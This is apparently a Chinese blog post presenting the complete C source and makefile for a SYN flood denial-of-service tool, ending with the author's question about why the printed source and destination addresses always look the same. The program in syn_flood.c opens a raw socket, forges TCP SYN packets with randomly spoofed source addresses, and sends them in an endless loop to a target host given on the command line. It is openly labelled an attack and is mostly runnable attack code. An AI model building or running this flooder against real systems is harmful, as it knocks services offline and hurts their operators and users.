SYN_FLOOD攻击

ip.h----------------------------------------------------------------------------------------

#ifndef _IP_H__
#define _IP_H__

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>

// ip 报头
struct ip
{
//小端法
#if BYTE_ORDER == LITTLE_ENDIAN
    unsigned char  ip_hl:4;               // ip 报头的长度
    unsigned char  ip_v:4;                // ip 的版本,IPv4...
#endif    

//大端法
#if BYTE_ORDER == BIG_ENDIAN
    unsigned char  ip_v:4;
    unsigned char  ip_hl:4;
#endif

    unsigned char  ip_tos;                //服务类型
    unsigned short ip_len;                // ip 数据报的全长
    unsigned short ip_id;                 
// 标识符:唯一标识该数据报的整数,一段数据可能被分为若干个分片,这些分片拥有 相同的 标识符

    unsigned short ip_off;                //分片偏移量:其占用了 13 个二进制位
#define IP_RF      0x8000                 // reserver fragment
#define IP_DF      0x4000                 // don't fragment:不要分片
#define IP_MF      0x2000                 // more fragment:还有分片
#define IP_OFFMASK 0x1fff                 // 掩码偏移量

    unsigned char  ip_ttl;                // 数据报存活时间:每经过一个路由器 数据报存活时间 递减,
//当被减到为 0时,丢弃。其值最大为 255,缺省值为 64,即默认值

    unsigned char  ip_p;                  // 协议:指定包含在 ip 数据报中的数据类型,
//其典型值为 1(ICMPv4),2(IGMPv4),6(TCP),17(UDP)...

    unsigned short ip_sum;                // ip 头部校验和:只对 IP 头部(包括任何选项)
//进行计算,其算法:16位反码加法

    struct in_addr ip_src;                //源地址
    struct in_addr ip_dst;                //目的地址                                    
};

unsigned short  checksum(unsigned short * packet,int packlen);
// ip 头部校验(头部,如果还有 选项 的话,加上)

#endif

ip.c-----------------------------------------------------------------------------------------
#include "ip.h"


/**************************
    checksum 函数:ip 数据报头部的校验和计算方法
    其参数:unsigned short *:packet:将要被计算的数据
           int             :packlen:该数据的长度
    返回值:unsigned short  :返回值可以将要被 赋值与 ip_sum
**************************/
unsigned short  checksum(unsigned short * packet,int packlen)
{
    unsigned long   sum = 0;
    
    while( packlen > 1)
    {
        sum     += *(packet++);
        packlen -= 2;            // 一个 short 类型有 16 个 bit,一个字节为 8 bit
    }

    if(packlen > 0)
    {//即 packlen == 1,即 packet 的长度为 奇数
        sum     += *(unsigned char *)packet;
//显示类型转换,因为只剩下一个字节,即一个 char,不足一个 short
    }

    while(sum >> 16)
    {//每次向 右 移动 16 位,一个 short
        sum = (sum & 0xffff) + (sum >> 16);
// 1)(sum & 0xffff):取 其 低16 位;2)(sum >> 16):向 右 移动 16 位
    }

    return (unsigned short)~sum;
}

tcp.h--------------------------------------------------------------------------------------
#ifndef _TCP_H__
#define _TCP_H__


#include <string.h>
#include "ip.h"

#define MAXLEN     1024              //各种数据的长度

struct tcp
{
    unsigned short tcp_sport;        //源端口
    unsigned short tcp_dport;        //目的端口
    unsigned int   tcp_seq;          //数据报的顺序号
    unsigned int   tcp_ack_seq;      //确认号:表示发送方期望从接收方接收到的下一个顺序号

#if BYTE_ORDER == LITTLE_ENDIAN           
//小端法
    unsigned char  tcp_res1:4;       //保留位 4 个bit
    unsigned char  tcp_off:4;        //头部长度:表示 TCP 报头的长度
    unsigned char  tcp_fin:1;        // FIN:释放已建立的链接
    unsigned char  tcp_syn:1;        // SYN:用于链接同步,请求,确认链接的建立
    unsigned char  tcp_rst:1;        // RST:用于复位主机崩溃等原因导致的错误
                                       //拒绝非法的数据或链接请求
    unsigned char  tcp_psh:1;        // PSH:表示接收方应马上将数据上传到应用层
    unsigned char  tcp_ack:1;        // ACK:表示已经正确接收了确认序号之前的字节
    unsigned char  tcp_urg:1;        // URG:表示数据报的 “紧急指针”有效
    unsigned char  tcp_res2:2;       // 保留位 2 个bit
#endif

#if BYTE_ORDER == BIG_ENDIAN
//大端法
    unsigned char  tcp_off:4;
    unsigned char  tcp_res1:4;
    unsigned char  tcp_res2:2;
    unsigned char  tcp_urg:1;
    unsigned char  tcp_ack:1;
    unsigned char  tcp_psh:1;
    unsigned char  tcp_rst:1;
    unsigned char  tcp_syn:1;
    unsigned char  tcp_fin:1;
#endif

    unsigned short tcp_win;           //窗口大小:用于流量控制,通知对方 本地 能接收的字节数量
//取值为 0 通知对方暂定发送

    unsigned short tcp_sum;           //校验和:用来校验以便检查数据是否正确(TCP报头 + TCP数据报)
    unsigned short tcp_urp;           //紧急指针:表示当前顺序号到紧急数据的偏移量

};


// TCP 伪报头,用于 TCP 校验和
typedef struct
{
    struct in_addr saddr;             //源 IP 地址
    struct in_addr daddr;             //目的 IP 地址
    char           mbz;               // must be zero:用于填充,都置 0
    char           protocol;          // 8 位协议号
    unsigned short tcplen;            // TCP 包长度
}psdheader_t;

//TCP 校验和
unsigned short  tcp_checksum(struct ip *ip,struct tcp * tcp);

#endif


tcp.c--------------------------------------------------------------------------------------

#include "tcp.h"


/**************************
    tcp_checksum 函数:TCP 数据报的校验和计算方法
    其参数:struct ip *:ip:与该数据报相关联的 ip 首部
           struct tcp *:tcp:与该数据报相关联的 TCP 头部
    返回值:unsigned short  :返回值可以将要被 赋值与 ip_sum
**************************/
unsigned short  tcp_checksum(struct ip * iph,struct tcp * tcph)
{
    char              buf[1024] = {0};
    psdheader_t       *psdh = NULL;           // TCP 伪头部
   
//    memset(buf,0,sizeof(buf));                // buf  清 0
    bzero(buf,sizeof(buf));
   
    psdh = (psdheader_t *)buf;
    psdh->saddr    = iph->ip_src;
    psdh->daddr    = iph->ip_dst;
    psdh->mbz      = 0;
    psdh->protocol = IPPROTO_TCP;             // 或者 为 6
    psdh->tcplen   = htons(sizeof(struct tcp));

//把 TCP 数据复制到 buf 中,也可用 bzero 可能更好
    memcpy((buf+sizeof(psdheader_t)),tcph,sizeof(struct tcp));

    return checksum((unsigned short*)buf,sizeof(psdheader_t)+sizeof(struct tcp));
}


syn_flood.c-----------------------------------------------------------------------------
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "tcp.h"

#define DPORT    9877         //目标端口
#define SPORT    8000         //源端口
#define MAXLEN   1024         //缓存区大小
#define MAXTTL   255          //IP 包的最大存活时间

int main(int argc,char *argv[])
{
    int          sockfd;          //套接口
    int          on     = 1;      //用于设置套接口属性,0 表示不起作用,1 表示起作用
    char         buf[MAXLEN];
    struct ip   *ip     = NULL;  
    struct tcp  *tcp    = NULL;
    ssize_t      headlen= sizeof(struct ip)+sizeof(struct tcp);

    struct sockaddr_in  toaddr;   
    struct hostent     *h;        //用以得到对应的 ip 地址
    unsigned short      check;    //用以 TCP 校验和

    if(argc < 2)
    {
        printf("usage: ./out <ip>");
        exit(1);
    }

    if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
    {
        perror("socket error");
        exit(1);
    }

    bzero(&toaddr,sizeof(toaddr));
    toaddr.sin_family   = AF_INET;
    toaddr.sin_port     = htons(DPORT);
   
    if(inet_aton(argv[1],&toaddr.sin_addr) == 1)
    {//argv[1]为 十进制的点地址

    }
    else if((h = gethostbyname(argv[1])) != NULL)
    {//argv[1] 为 www....
        bcopy(h->h_addr,&toaddr.sin_addr,h->h_length);
        printf("目的地址 :%s(%s)\n",argv[1],inet_ntoa(toaddr.sin_addr));
    }
    else
    {//输入错误
        printf("输入错误\n");
        exit(1);
    }

    if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,(char*)&on,sizeof(on)) < 0)
    {//设置 套接口 的属性,on 为 1 表示起作用,on 为 0 表示不起作用
        perror("setsockopt error");
        exit(1);
    }
/*
设置 IP——HDRINCL 选项后,必须为所有发送到 此套接口 上的数据报构造 IP 头部,
一般情况下,内核会为发送到 原始套接口 上的数据报结构 构造 IP 头部
有时,有些应用程序也会 构造 IP 头部
*/

    //填充 IP 数据报头
    ip = (struct ip *)buf;
   
    ip->ip_v      = 4;             //其版本为 ipv4
    ip->ip_hl     = sizeof(struct ip) >> 2; // IP 数据报首部的长度(以 字 为单位)
    ip->ip_tos    = 0;             //服务类型
    ip->ip_len    = headlen;       //该 IP 数据报的全长
    ip->ip_id     = 0;             //由内核填写
    ip->ip_off    = 0;             //由内核填写
    ip->ip_ttl    = MAXTTL;        // IP 数据报的存活时间
    ip->ip_p      = IPPROTO_TCP;   //传输层协议为 TCP
    ip->ip_sum    = 0;             //由内核填写,且其初始值要为 0
    ip->ip_dst    = toaddr.sin_addr;//目的地址,即攻击目标

    //填充 TCP 数据报
    tcp = (struct tcp *)(buf + sizeof(struct ip));

    tcp->tcp_sport = htons(SPORT); //源端口
    tcp->tcp_dport = htons(DPORT); //目的端口
    tcp->tcp_seq   = htonl(random()); //随机长生序列号
    tcp->tcp_ack_seq = 0;              //确认号,攻击用,随便给
    tcp->tcp_off     = sizeof(struct tcp) >> 2; //TCP 首部
    tcp->tcp_syn     = 1;              // SYN 数据
    tcp->tcp_win     = htons(0x20);    //窗口大小

    check  = tcp_checksum(ip,tcp);
    tcp->tcp_sum     = check;          // TCP 校验和

    //循环发送攻击包
    while(1)
    {
        ip->ip_src.s_addr = random();  //随机生成源地址,使服务器接收不到 ACK 应答

        printf("source addr : %s\n,dest addr : %s\n",inet_ntoa(ip->ip_src),\
                inet_ntoa(ip->ip_dst));
   
        if(-1 == sendto(sockfd,buf,headlen,0,(struct sockaddr *)&toaddr,\
                        sizeof(struct sockaddr)))
        {
            perror("sendto error");
            exit(1);
        }
    }//end while(1)

    return 0;
}


makefile---------------------------------------------------------------------------------
CC   = gcc
FLAGS= -g -Wall

object = ip.o tcp.o syn_flood.o

C:$(object)
    $(CC) $(FLAGS) $(object) -o flood

ip.o:ip.h ip.c
    $(CC) $(FLAGS) -c ip.c
tcp.o:tcp.h tcp.c
    $(CC) $(FLAGS) -c tcp.c
syn_flood.o:syn_flood.c
    $(CC) $(FLAGS) -c syn_flood.c

.PHOINY:clean
clean:
    rm $(C) $(object)


-------------------------------------end------------------------------------------------------
问题:攻击时,怎么攻击目标和源地址总是一样的???

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值